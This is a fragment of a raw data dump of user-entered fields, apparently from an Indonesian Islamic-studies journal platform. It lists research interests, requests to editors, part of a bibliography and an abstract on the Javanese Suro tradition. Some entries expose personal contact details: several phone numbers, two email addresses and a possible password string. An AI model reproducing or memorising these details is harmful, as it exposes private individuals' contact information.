Salatiga.  Muhtador Moh.. 2018. Memahami Hadis Misoginis Dalam Perspektif Hermeneutika Produktif Hans Gadamer. Jurnal Diya` alafkar","26552":"6.2  IAIN Kudus.  Nasrullah. 2015.  Hadis-Hadis Anti Perempuan Kajian Living Sunnah Perspektif Muhammadiyah","26553":"dan HTI. Malang:UIN-Maliki Press. Cet ke-1.  Sugiyono. 2018. Metode Penelitian Kuantitatif","26554":"Kualitatif dan R&D. Bandung: Alfabeta.  Ummah Siti Syamsiyatul. 2019. Digitalisasi Hadis (Studi Hadis di Era Digital). UIN Sunan Kalijaga. Jurnal Ilmu Hadis","26555":"4. Yogyakarta.   Widi Winarni","26556":"Endang. 2018.  Teori Dan Praktik Penelitian Kuantitatif","26557":"Kualitatif","26558":"PTK","26559":"R&D. Jakarta:Bumi Aksara.  Yusuf","26560":"A. Muri. 2017. Metode Penelitian: Kuantitatif","26561":"Kualitatif dan Penelitian Gabungan. Jakarta:Kencana.","26610":"Social Development; Sociology; Strategic Planning; Religious Issues","26643":"social change and sociology of religion","26644":"meneliti tentang pemikiran at-thusi","26645":"Education","26718":"publish juornal","26731":"Submit jurnal","26732":"Social studies","26751":"Cultural","26756":"Ok","26769":"sangat tertarik dan bersemangat","26770":"Tradisi Suro merupakan salah satu dari tradisi budaya jawa yang diyakini memiliki aspek nilai nilai keagamaan didalamnya. Tradisi suro sangat identic dengan perayaan tahun baru jawa yang bertepatan jatuh pada penangglan Islam yaitu bulan Muharrom. Didalam tradisi ini banyak mencakup praktik dari nilai nilai keagamaan","26771":"budaya dan Sejarah. Dalam penelitian ini akan mengkaji makna simbolis dari tradisi suro dalam perspektif keagaaman yang ada di Desa Mayangan","26772":"kab. Jombang. Penelitian ini akan menggunakan metode penelitian kualitatif dengan melakukan observasi dan wawancara kepada tokoh tokoh keagaman dan para pelaku yang terlibat dalam praktik tradisi tersebut. Teori yang digunakan dalam penelitian ini adalah interaksionalisme Simbolik. Dalam Ritual Pusoko di Desa Mayangan","26773":"penggabungan elemen-elemen keagamaan","26774":"dan spiritualitas menciptakan tradisi yang kaya makna. Melalui simbolisme dalam tahap-tahap seperti puasa mutih","26775":"berbuka dengan makanan putih","26776":"dan upacara Pusoko","26777":"ritual ini mencerminkan upaya pengendalian diri","26778":"pemurnian ilmu","26779":"dan penyucian spiritual. Peran para dukun dalam ritual ini juga memperkaya dimensi pengobatan alternatif dalam budaya lokal.","26782":"tasawuf dan filsafat","26789":"conflict","26790":"religion","26798":"okee","26808":"i would","26813":"Filsafat ilmu","27011":"Islamic Education","27048":"Human Rights","27049":"Multiculturalism","27050":"democracy","27051":"development","27061":"Islamic Mysticism","27325":"radikalisme di indonesia","27396":"ilmu sosial","27415":"Alhamdulillah","27430":"Baik","27433":"Karena keingin tahuan saya","27472":"ingin menambah wawasan","27489":"kosmopolitanisme","27491":"Education Philosophy","27492":"Culture and christian theology","27527":"Ilmu Al Qur'an dan hadits","27531":".","27557":"Hadith","27558":"and Al-Qur`an-Hadith","27564":"nanti kalau ada revisi tolong hubungi saya sebagai penulis kak. Terimakasih","27599":"mohon segera terbitkan jurnal ini","27631":"I am interested in this journal because my scientific work is in the category of sociology of religion and I am interested in sending the results of this research so that it is useful and can be a reference related to the discussion of my written work","27633":"Good Jurnal","27680":"Mysticism","27681":"tertarik dengan studi studi pemikiran islam","27682":"tertarik dengan kajian studi keislaman","27996":"Studi Islam","27997":"Pemikiran Islam","28044":"aksa1234","28062":"081297510462","28066":"Islamic Science","28067":"Islamic Religious Studies","28088":"HUKUM ISLAM","29057":"oke","29629":"085724563114","29808":"contemporary issues in fiqh","29809":"Maqasid shariah","29810":"fiqh","29811":"usul fiqh","29820":"Saya ingin gabung","29839":"philosophical dimensions of IoT","29845":"Hermeneutics","29846":"inter-religious studies","29847":"Interests","29866":"Qur'an","29867":"hadits","30987":"Social theology","30988":"citizenship","30989":"nationalism","30990":"Hadis and Media","30991":"Hadith and Media","30992":"Takhrij Hadith","30993":"Western Hadith Studies","30994":"Matn Criticism","31190":"Ilmu Sastra","31191":"Pembelajaran","31192":"Bahasa Indonesia","31233":"Student","31236":"sangat penting","31314":"Bismillah","31356":"The Role Of Sidoarjo Regency DP3AKB On The Protection Of Child  Victims Of Domestic Violence John Rawls\u2019 Justice Perspective Peran DP3AKB Kabupaten Sidoarjo Terhadap Perlindungan Anak Korban KDRT  Perspektif Keadilan John Rawls","31358":"i'm aggree","31416":"Penelitian","31417":"To grow my mindset","31418":"to be the best level","31422":"islamic politic","31429":"ilmu ilmu agama","31451":"Islamic Law","31452":"Islamic Astronomy","31623":"Membaca","31691":"Metafisika","31692":"etika","31693":"political philosophy","31705":"mohon di publish","31706":"good","32223":"saya ingin membagikan ilmu penting pada orang orang","32280":"Upload artikel sinta 5","32281":"social science","32285":"Living Quran Hadis","32361":"UIN Sayyid Ali Rahmatullah Tulungagung","32367":"ilmu tafsir","32603":"pendidiikan islam","32829":"Quran","32893":"Ingin terus berkarya dalam tulisan","32914":"Saintist","33055":"Quranic Hermenutics","33186":"Tafsir of The Quran","33635":"Tafsir Studies","35049":"izul","35056":"ISLAMIC MANUSCRIPTS","35057":"PROPHETIC COPING STYLE","35082":"Ilmu Al-Quran dan Tafsir","35349":"Islamic politics","35350":"Islamic Social Sciences","35409":"Islamic Psychology","35437":"Saya bersedia serta berminat bergabung","35438":"mempunlikasi dan merevisi sesuai kebijakan jurnal ini","35446":"Pendidikan Islam","35447":"Pendidikan Agama Islam","35500":"221320055.syahrul@uinbanten.ac.id","35509":"Quranic Education in Japan","35542":"Qur'an studies","35543":"Islamic history","35544":"Islamic Civilization","36095":"Aqidah dan Filsafat Islam","36206":"x","36215":"PAI","36216":"Technology","36217":"Educational","36245":"hadith science","36294":"Filsafat Barat","36295":"Filsafat Sosial","36296":"prophetic medicine","36297":"hadith and health issues","36322":"semantic and linguistic al-qur'an","36323":"Tafsir Qur'an","36386":"Very Good","36387":"Living Qur'an","36388":"Women Relogious movement","36394":"submits","36399":"Educational Studies","36400":"& Arabic Studies","36404":"please review my manuscript as soon as possible.","36408":"Ilmu Al-Qur'an & Tafsir","36409":"bagus","36544":"Perselisihan Dilalah hadis","36545":"ILM ALKalam","36555":"Interest","36558":"alquran; hadith","36559":"Interst","36568":"Filsafat ilmu pengetahuan","36580":"Akidah and Islamic Philosophy","36672":"bakat","36673":"Menulis","36849":"Al-Qur'an Hadis","36905":"Qur'an dan Hadist","36917":"Ilmu Al-Qur'an","36931":"Resepsi Hadis Media Sosial","36939":"ngopi","36957":"arabic","36958":"Tasawuf dan Psikologi","36979":"al-quran","36984":"Saya ingin publish jurnal","36985":"submission","37095":"Islamic Historic","37152":"Islamic Studies or Humanities","37399":"Al-Quran Interpretation","37499":"Ilmu al-Qur'an dan tafsir","37504":"Hadist","37802":"Arabic studies","37803":"Quran studies","37804":"sunnah","37805":"tafseer","37849":"Qur\u2019anic Studies","37860":"all related topic of islamic studies","38095":"sz","38119":"umma farida","38507":"Ilmu Alquran dan Tafsir","38839":"Quranic Exegesis","39004":"Legal Sociology","39005":"Legal Culture","39054":"Existentialism","39134":"Al-Qur'an dan Tafsir","39159":"tafsir tematik","39206":"Al-Qur'an and Tafsir","39659":"history and islamic studies","39675":"Tafsir Ilmi","39683":"Shariah","39738":"institutional & economic","39806":"Islam in Indonesia","39835":"mengenai segala hal yang berkaitan dengan jurnal saya","39967":"studi al-Qur'an era modern-kontemporer","40643":"Mohon untuk di review Terimakasih","40645":"Filsafat Islam klasik dan kontemporer","40646":"Neo Sadrian","40647":"Pemikiran Sains dan Kosmologi Islam","40662":"","40749":"integration of religion and sciences","40926":"literature","40927":"religiosity","40928":"art and humanities","41104":"ilmu kalam","41105":"studi gender","41106":"antropologi","41136":"Studi Al-Quran","41169":"Law","41170":"Waqf","41171":"Zakat","41172":"CLimate Change","41173":"Financial Analysis","41223":"Quran and Hadith Studies; Islamic Studies; Islamic Development Management","41251":"Western Quranic Studies","41252":"Comparative Religion","41253":"Quranic Studies (Classical Islamic)","41254":"Orientlaism and Revisionist Quranic Studies","41270":"goood","41361":"Islamic History; Javaness culture","41362":"Hadith; Islamic Studies","41367":"Quranic Manuscript","41560":"Filsafat pendidikan","41561":"sejarah Pendidikan Islam","41563":"Moralitas","41601":"Komunikasi Penyiaran Islam","41617":"Filsafat dan Sosiologi","41688":"Quran; Tafsir; Aqeedah; Mantiq; Kalam","41745":"Aqida","41964":"sangat minat","42147":"Penulisan Artikel","42326":"arabic language","42327":"arabic linguistics studies","42475":"Myth","42476":"Psychological","42500":"salah satu impian saya adalah dapat menerbitkan jurnal ini di scopus","42600":"Hadis dan Ilmu Hadis","42615":"Pembaca","42636":"publiksasi artikel","42646":"Quranic and Hadith Studies","42654":"education and Arabic language","42769":"applied linguistics","42855":"Christianity Islam and Comparative Religion","43188":"Publis jurnal sinta","43470":"\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a","43471":"quranic studies in arabic","43715":"Interpretation; Theology; Methodology; Spirituality","43801":"for confirmation: wendiparwanto2@gmail.com","43864":"Quranic Translation; Lived Quran; Contemporary Quranic Exegesis","44195":"Islamic Studies; Quranic Studeies; Quranic Translations","44201":"I would like to contribute more scholarly articles in the field of Islamic theology","44202":"and contemporary thought.","44331":"comparative","44332":"study","44333":"of","44334":"religions","44335":"phylosophy","44345":"Quranic and Hadith sciences","44346":"interpretation (Tafsir)","44347":"and Islamic psychology.","44349":"Islamic Kalam and Theology; Islamic Philosophy; Philology","44350":"Islamic Politics; and Islamic History","44351":"Islamic Kalam Theology","44352":"Islamic Classical Philosophy","44353":"Philology","44354":"Islamic Classical History","44355":"Sufi-Tantric Traditions","44427":"As a student committed to continuous learning and academic growth\u2014particularly in the field of Qur'anic studies and tafsir\u2014I am genuinely enthusiastic about the opportunity to apply and contribute to this UIN Suka journal.","44453":"Qur\u2019an dan Hadis","44627":"Tafsir Al Quran","44752":"Al-Qur'an; Tafsir","44753":"teologi dan pemikiran islam","45018":"\u0644\u063a\u0648\u064a\u0627\u062a: \u0646\u062d\u0648\u060c \u0635\u0631\u0641\u060c \u0645\u0639\u062c\u0645\u060c \u062f\u0644\u0627\u0644\u0629","45446":"\u0627\u0644\u0645\u0642\u0627\u0644\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0639\u0646\u0649 \u0628\u0627\u0644\u0642\u0631\u0622\u0646 \u0648\u0639\u0644\u0648\u0645\u0647","45519":"Socio-Culture Studies","45631":"living quran","45632":"tafsir studi kawasan","45643":"philosphy","45674":"Islamic banking.","45675":"Penelitian dan akademik","45680":"quran hadis","45739":"0183991479","45740":"0060183991479","45741":"Women Issues","45852":"Tafsir in Indonesia","45853":"Gender and Religion","45861":"Islamic","45862":"Javanese","45867":"Indonesian Muslim Diaspora; Women and Domestic Space; Religious Agency; Diaspora Identity; Cultural Diplomacy. Area Studies","45868":"Islam and Environmental Ethics","45869":"Environmental Sociology","45870":"untuk publikasi jurnal","45876":"interested","45900":"Menerbitkan Jurnal","45990":"Educational articles on teaching the Qur\u2019an and Islamic studies","45991":"The Prophetic Hadith","45992":"The Prophetic Sunnah","45993":"Historical economic studies","45999":"tidak ada","46002":"al-Quran dan Tafsir","46004":"nice","46010":"Interdisciplinary Islamic Studies","46032":"tafseer; hadith; islamic philosophy; humanity","46053":"Neuroanatomy","46054":"Neuroscience of Emotion","46055":"Physiological Psychology","46056":"Cognitive and Affective Neuroscience","46057":"Stress and Emotion Regulation","46058":"Moral and Religious Psychology","46059":"Mind\u2013Body Integration","46060":"Psychophysiological Assessment","46070":"Counselling","46071":"Qur'an and Psychology","46072":"Clinical Social Work","46074":"pass sinta 3","46079":"Ulumul Quran","46085":"akulturasi","46133":"\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u043e\u0432","46134":"\u0427\u0435\u0440\u043b\u0438\u0434\u0438\u043d\u0433","46135":"\u0440\u0430\u0434\u0438\u043e\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u043a\u0438","46136":"\u0440\u043e\u043b\u0435\u0432\u044b\u0435 \u0438\u0433\u0440\u044b","46137":"\u0420\u0430\u0434\u0438\u043e\u043b\u044e\u0431\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e","46146":"\u041a\u043e\u043b\u043b\u0435\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0430","46147":"\u041a\u0430\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043b\u044b\u0436\u0430\u0445","46148":"\u041d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043d\u043d\u0438\u0441","46149":"religion and global politics","46150":"Turkish studies","46151":"\u0414\u043e\u043c\u0430\u0448\u043d\u0438\u0435 \u0444\u0438\u043b\u044c\u043c\u044b","46152":"\u0421\u0442\u0430\u0440\u0438\u043d\u043d\u044b\u0435 \u041a\u043d\u0438\u0433\u0438","46153":"\u0421\u0442\u0443\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0439 \u0444\u0443\u0442\u0431\u043e\u043b","46154":"\u043c\u0438\u043a\u0440\u043e\u0441\u043a\u043e\u043f\u0438\u044f","46179":"\u0421\u0442\u0430\u0440\u0438\u043d\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430","46180":"\u0420\u043e\u043b\u043b\u0435\u0440 \u0414\u0435\u0440\u0431\u0438","46181":"yess","46185":"\u0418\u0437\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u044c\u0447\u0443\u0433\u0438","46256":"10","46320":"prophetic hadith","46321":"Gender and Sexuality","46322":"Religion and Socio-Culture","46323":"like","46324":"Islamic studis","46341":"published","46351":"\u0421\u043b\u0438\u044f\u043d\u0438\u0435","46352":"\u0431\u0438\u0431\u043e\u0438\u043d\u0433","46360":"Media dan Agama","46452":"\u0410\u0432\u0442\u043e\u0441\u043f\u043e\u0440\u0442","46453":"\u0413\u043e\u0440\u043e\u0434\u0441\u043a\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435","46496":"Religion Studies","46497":"Ekology","46557":"RELIGION STUDY","46582":"very interested","46583":"Halal Studies","46629":"Metode Berpikir Kritis dalam Menilai Teori Ekonomi Modern dari Perspektif Filsafat Islam bagi Masyarakat Masa Kini.","46630":"\u041a\u043e\u043b\u043b\u0435\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u043d\u0435\u0442","46631":"\u0421\u043e\u0431\u0430\u0447\u0438\u0439 \u0441\u043f\u043e\u0440\u0442","46648":"Ilmu alqur'an dan tafsir","46675":"Pemikiran Filsafat Islam","46681":"Exegetion of islamic law","46682":"historiography of interpretation","46743":"\u0421\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0431\u0435\u0433","46753":"hehe","46765":"islamic philosophy sufisme","46781":"SEMANGAT","46830":"Islamic Theology and Philosopy","46847":"Sosial Agama","46848":"Tasawuf Falsafi","46849":"Spirituallity","46850":"Cultural Study","46851":"and Psychology","46852":"semoga artikel ini dimuat terimakasih","46859":"Membaca dan menulis","46909":"NILAI-NILAI PLURALITAS DAN PLURALISME AGAMA Analisis Tafsir Al-Misbah dalam QS. Alhujurat [49]:13 dan  QS. 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